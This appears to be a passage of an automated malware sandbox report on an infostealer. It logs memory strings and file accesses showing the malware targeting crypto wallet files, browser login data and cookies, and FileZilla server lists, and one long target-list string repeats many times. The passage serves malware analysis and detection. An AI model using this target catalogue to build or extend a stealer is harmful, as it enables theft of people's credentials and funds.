Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.walletLR]q
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR]q
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.walletLR]q
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q%appdata%`,]qdC:\Users\user\AppData\Roaming`,]qdC:\Users\user\AppData\Roaming\Binance
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR]q
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q&%localappdata%\Coinomi\Coinomi\walletsLR]q
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q6C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000005.00000002.2098178516.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
